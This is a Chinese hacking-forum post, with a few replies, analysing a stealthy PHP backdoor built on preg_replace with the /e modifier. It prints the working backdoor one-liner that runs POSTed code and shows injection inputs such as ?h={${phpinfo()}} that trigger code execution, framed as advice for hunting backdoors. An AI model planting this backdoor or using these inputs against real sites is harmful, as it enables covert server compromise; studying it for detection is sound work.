黑帽联盟

 找回密码
 会员注册
查看: 1605|回复: 3
打印 上一主题 下一主题

[系统安全] 利用preg_replace隐藏后门详解

[复制链接]
yun 黑帽联盟官方人员 

920

主题

37

听众

1364

积分

超级版主

Rank: 8Rank: 8

  • TA的每日心情
    奋斗
    2019-10-18 11:20
  • 签到天数: 678 天

    [LV.9]以坛为家II

    php后门有很多,但是在一次帮助朋友检查服务器的时候,竟然发现这样的恶意代码

    事情是这样的,朋友的网站的利用各种查找后门的工具都没有发现php木马。老是找不到,小黑的伎俩很高级,每次使用完毕总是把后门删掉,但是每次都能继续进来,总是找不到从哪进来的。这个着实让人蛋疼。

    后来,终于在日志中发现一丝蛛丝马迹,通过我的分析,我发现一个IP总是很奇怪的POST数据到某个文件。然后一段时间后,此IP就访问一个莫名奇妙文件,名字很显眼明显不是正常系统文件,而是PHP后门。但是很快使用完毕后门就被删除了。

    哈哈,遇到小黑蛮细心的。

    然后通过分析发现,小黑的访问的文件发现代码:

    @preg_replace(“//e”,$_POST['IN_COMSENZ'],”Access Denied”);

    如果你看到这个代码是不是有的也没什么问题,但是,这个就是小黑的掩藏的恶意代码和后门。隐蔽吧,基本上任何查杀软件都查杀不到。

    preg_replace函数原型:

    mixed preg_replace ( mixed pattern, mixed replacement, mixed subject [, int limit])

    特别说明:

    /e 修正符使 preg_replace() 将 replacement 参数当作 PHP 代码(在适当的逆向引用替换完之后)。提示:要确保 replacement 构成一个合法的 PHP 代码字符串,否则 PHP 会在报告在包含 preg_replace() 的行中出现语法解析错误。

    上面的代码是POST接受数据要测试,比较麻烦,如果换成GET获取数据的话。。。

    举例:

    echo preg_replace(“/test/e”,$_GET["h"],”jutst test”);

    如果我们提交?h=phpinfo(),phpinfo()将会被执行(使用/e修饰符,preg_replace会将 replacement 参数当作 PHP 代码执行)。

    如果我们要POST的话,我们测试提交下面的代码会怎么样呢?

    游客,如果您要查看本帖隐藏内容请回复


    密文对应的明文是:

    游客,如果您要查看本帖隐藏内容请回复


    执行的结果是在/data/目录下生成一个一句话木马文件 a.php。

    这个就恐怖了吧。。。。

    再来一个有难度的例子:


    复制代码代码如下:

    游客,如果您要查看本帖隐藏内容请回复



    提交 ?h=phpinfo() ,phpinfo()会被执行吗?

    肯定不会。因为经过正则匹配后, replacement 参数变为’test(“phpinfo”)’,此时phpinfo仅是被当做一个字符串参数了。

    有没有办法让它执行呢?

    当然有。在这里我们如果提交?h={${phpinfo()}},phpinfo()就会被执行。为什么呢?

    在php中,双引号里面如果包含有变量,php解释器会将其替换为变量解释后的结果;单引号中的变量不会被处理。

    注意:双引号中的函数不会被执行和替换。

    在这里我们需要通过{${}}构造出了一个特殊的变量,’test(“{${phpinfo()}}”)’,达到让函数被执行的效果(${phpinfo()}会被解释执行)。

    可以先做如下测试:

    echo “{${phpinfo()}}”; phpinfo会被成功执行了。

    所以,各位查找后门的时候注意查找下。

    OK,说了那么多,也了解了,以上我给的代码:

    @preg_replace(“//e”,$_POST['IN_COMSENZ'],”Access Denied”);

    看似很正常的代码,其实就是一个极度危险的代码,隐藏颇深啊。哈哈。希望对大家有帮助
    帖子永久地址: 

    黑帽联盟 - 论坛版权1、本主题所有言论和图片纯属会员个人意见,与本论坛立场无关
    2、本站所有主题由该帖子作者发表,该帖子作者与黑帽联盟享有帖子相关版权
    3、其他单位或个人使用、转载或引用本文时必须同时征得该帖子作者和黑帽联盟的同意
    4、帖子作者须承担一切因本文发表而直接或间接导致的民事或刑事法律责任
    5、本帖部分内容转载自其它媒体,但并不代表本站赞同其观点和对其真实性负责
    6、如本帖侵犯到任何版权问题,请立即告知本站,本站将及时予与删除并致以最深的歉意
    7、黑帽联盟管理员和版主有权不事先通知发贴者而删除本文

    0

    主题

    0

    听众

    5

    积分

    黑帽菜鸟

    Rank: 1

  • TA的每日心情
    擦汗
    2017-4-2 10:27
  • 签到天数: 3 天

    [LV.2]偶尔看看I

    这个确实要看看了
    回复

    使用道具 举报

    1

    主题

    0

    听众

    345

    积分

    黑帽学员

    Rank: 3Rank: 3

  • TA的每日心情

    2020-1-22 01:58
  • 签到天数: 115 天

    [LV.6]常住居民II

    E: 利用preg_replace隐藏后门详解
    回复

    使用道具 举报

    0

    主题

    0

    听众

    2

    积分

    黑帽菜鸟

    Rank: 1

  • TA的每日心情
    开心
    2019-9-26 16:08
  • 签到天数: 1 天

    [LV.1]初来乍到

    RE: 一些常见的PHP后门原理分析
    本文摘自: 黑帽联盟(https://bbs.cnblackhat.com/) 详细出处请参考:https://bbs.cnblackhat.com/thread-931-1-1.html
    回复

    使用道具 举报

    您需要登录后才可以回帖 登录 | 会员注册

    发布主题 !fastreply! 收藏帖子 返回列表 搜索
    回顶部